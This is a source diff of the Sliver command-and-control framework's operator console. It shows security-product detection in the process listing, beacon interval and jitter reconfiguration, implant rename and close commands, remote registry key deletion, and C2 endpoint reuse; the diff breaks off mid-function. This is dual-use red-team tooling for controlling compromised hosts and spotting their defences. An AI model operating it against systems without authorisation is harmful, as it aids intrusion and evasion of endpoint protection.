if prelude.SessionMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
|
||||
if prelude.ImplantMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
|
||||
|
||||
@@ -99,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -35,14 +35,17 @@ import (
|
||||
|
||||
var (
|
||||
// Stylizes known processes in the `ps` command
|
||||
knownSecurityTools = map[string]string{
|
||||
"ccSvcHst.exe": console.Red, // SEP
|
||||
"cb.exe": console.Red, // Carbon Black
|
||||
"MsMpEng.exe": console.Red, // Windows Defender
|
||||
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
|
||||
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdagent.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
knownSecurityTools = map[string][]string{
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
}
|
||||
)
|
||||
|
||||
@@ -68,10 +71,20 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
PrintPS(os, ps, false, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(ps.Response)
|
||||
} else {
|
||||
PrintPS(os, ps, true, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -86,7 +99,6 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
|
||||
// PrintPS - Prints the process list
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
pidFilter := ctx.Flags.Int("pid")
|
||||
exeFilter := ctx.Flags.String("exe")
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
@@ -118,23 +130,36 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
|
||||
continue
|
||||
}
|
||||
procRow(tw, proc, cmdLine, con)
|
||||
row := procRow(tw, proc, cmdLine, con)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "pid", Mode: table.Asc},
|
||||
{Name: "ppid", Mode: table.Asc},
|
||||
})
|
||||
|
||||
if !interactive {
|
||||
overflow = true
|
||||
}
|
||||
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
|
||||
}
|
||||
|
||||
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
products := []string{}
|
||||
for _, proc := range ps.Processes {
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
products = append(products, secTool[1])
|
||||
}
|
||||
}
|
||||
return products
|
||||
}
|
||||
|
||||
// procRow - Stylizes the process information
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
|
||||
color := console.Normal
|
||||
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = modifyColor
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
}
|
||||
if session != nil && proc.Pid == session.PID {
|
||||
color = console.Green
|
||||
@@ -196,7 +221,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
return row
|
||||
}
|
||||
|
||||
// GetPIDByName - Get a PID by name from the active session
|
||||
|
||||
@@ -41,6 +41,10 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Pid: int32(pid),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Terminate failed: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if terminated.Response != nil && terminated.Response.Async {
|
||||
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Reconfig
|
||||
=========
|
||||
|
||||
Commands used to reconfigure beacon/session times and metadata
|
||||
@@ -0,0 +1,96 @@
|
||||
package reconfig
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ReconfigCmd - Reconfigure metadata about a sessions
|
||||
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var err error
|
||||
var reconnectInterval time.Duration
|
||||
if ctx.Flags.String("reconnect-interval") != "" {
|
||||
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
var beaconInterval time.Duration
|
||||
var beaconJitter time.Duration
|
||||
if beacon != nil {
|
||||
if ctx.Flags.String("beacon-interval") != "" {
|
||||
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid beacon interval: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if ctx.Flags.String("beacon-jitter") != "" {
|
||||
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
|
||||
return
|
||||
}
|
||||
if beaconInterval == 0 && beaconJitter != 0 {
|
||||
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
|
||||
ReconnectInterval: int64(reconnectInterval),
|
||||
BeaconInterval: int64(beaconInterval),
|
||||
BeaconJitter: int64(beaconJitter),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if reconfig.Response != nil && reconfig.Response.Async {
|
||||
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, reconfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Reconfigured beacon\n")
|
||||
})
|
||||
con.PrintAsyncResponse(reconfig.Response)
|
||||
} else {
|
||||
con.PrintInfof("Reconfiguration complete\n")
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,8 @@
|
||||
package sessions
|
||||
package reconfig
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -21,18 +21,16 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// SessionsReconfigCmd - Reconfigure metadata about a sessions
|
||||
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
// RecnameCmd - Reconfigure metadata about a sessions
|
||||
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -46,24 +44,23 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
}
|
||||
|
||||
// Option to change the reconnect interval
|
||||
reconnect := ctx.Flags.Int("reconnect")
|
||||
|
||||
// Option to change the reconnect interval
|
||||
poll := ctx.Flags.Int("poll")
|
||||
|
||||
oldSession := con.ActiveTarget.GetSession()
|
||||
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
SessionID: oldSession.ID,
|
||||
Name: name,
|
||||
ReconnectInterval: int64(reconnect) * int64(time.Second),
|
||||
PollInterval: int64(poll) * int64(time.Second),
|
||||
var beaconID string
|
||||
var sessionID string
|
||||
if beacon != nil {
|
||||
beaconID = beacon.ID
|
||||
} else if session != nil {
|
||||
sessionID = session.ID
|
||||
}
|
||||
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
|
||||
SessionID: sessionID,
|
||||
BeaconID: beaconID,
|
||||
Name: name,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Renamed implant to %s\n", name)
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
}
|
||||
@@ -95,7 +95,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCreateKey - Print the results of the crate key command
|
||||
// PrintCreateKey - Print the results of the create key command
|
||||
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if createKey.Response != nil && createKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", createKey.Response.Err)
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
package registry
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RegDeleteKeyCmd - Remove a Windows registry key
|
||||
func RegDeleteKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Registry operations can only target Windows\n")
|
||||
return
|
||||
}
|
||||
|
||||
hostname := ctx.Flags.String("hostname")
|
||||
hive := ctx.Flags.String("hive")
|
||||
if err := checkHive(hive); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
regPath := ctx.Args.String("registry-path")
|
||||
if regPath == "" {
|
||||
con.PrintErrorf("You must provide a path\n")
|
||||
return
|
||||
}
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
|
||||
deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
|
||||
Hive: hive,
|
||||
Path: finalPath,
|
||||
Key: key,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if deleteKey.Response != nil && deleteKey.Response.Async {
|
||||
con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, deleteKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
})
|
||||
con.PrintAsyncResponse(deleteKey.Response)
|
||||
} else {
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintDeleteKey - Print the results of the delete key command
|
||||
func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if deleteKey.Response != nil && deleteKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", deleteKey.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Key removed at %s\\%s", regPath, key)
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package sessions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CloseSessionCmd - Close an interactive session but do not kill the remote process
|
||||
func CloseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// Get the active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
con.PrintErrorf("No active session\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Close the session
|
||||
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
|
||||
}
|
||||
@@ -50,29 +50,29 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
return nil, ErrNoSessions
|
||||
}
|
||||
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []int
|
||||
var keys []string
|
||||
for _, session := range sessions.Sessions {
|
||||
keys = append(keys, int(session.ID))
|
||||
keys = append(keys, session.ID)
|
||||
}
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
session := sessionsMap[uint32(key)]
|
||||
session := sessionsMap[key]
|
||||
if onlyAlive && session.IsDead {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
@@ -98,7 +98,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
// Go from the selected option -> index -> session
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return sessionsMap[uint32(keys[index])], nil
|
||||
return sessionsMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
|
||||
@@ -20,6 +20,7 @@ package sessions
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
@@ -42,6 +43,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
// Parse C2 Flags
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
@@ -86,9 +88,63 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
// No flags, parse the current beacon's ActiveC2 instead
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return
|
||||
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
|
||||
c2url, err := url.Parse(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
switch c2url.Scheme {
|
||||
case "mtls":
|
||||
mtlsC2, err = generate.ParseMTLSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
case "wg":
|
||||
wgC2, err = generate.ParseWGc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
case "https":
|
||||
fallthrough
|
||||
case "http":
|
||||
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
case "dns":
|
||||
dnsC2, err = generate.ParseDNSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
case "namedpipe":
|
||||
namedPipeC2, err = generate.ParseNamedPipec2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
case "tcppivot":
|
||||
tcpPivotC2, err = generate.ParseTCPPivotc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
default:
|
||||
con.PrintErrorf("Unsupported C2 scheme: %s\n", c2url.Scheme)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
openSession := &sliverpb.OpenSession{
|
||||
|
||||
@@ -40,8 +40,8 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.IsDead {
|
||||
con.Printf("Pruning session #%d ...", session.ID)
|
||||
err = kill.KillSession(session, true, con)
|
||||
con.Printf("Pruning session %s ... ", session.ID)
|
||||
err = kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failed!\n")
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,6 +21,7 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
@@ -30,6 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// SessionsCmd - Display/interact with sessions
|
||||
@@ -49,12 +51,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if killAll {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -63,12 +65,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.IsDead {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
}
|
||||
}
|
||||
return
|
||||
@@ -79,7 +81,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if activeSession != nil && session.ID == activeSession.ID {
|
||||
con.ActiveTarget.Background()
|
||||
}
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -90,12 +92,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.GetSession(interact)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, ShortSessionID(session.ID))
|
||||
} else {
|
||||
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
|
||||
}
|
||||
} else {
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
@@ -108,19 +110,41 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// PrintSessions - Print the current sessions
|
||||
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Health",
|
||||
})
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, session := range sessions {
|
||||
@@ -138,21 +162,37 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
if session.Burned {
|
||||
burned = "🔥"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
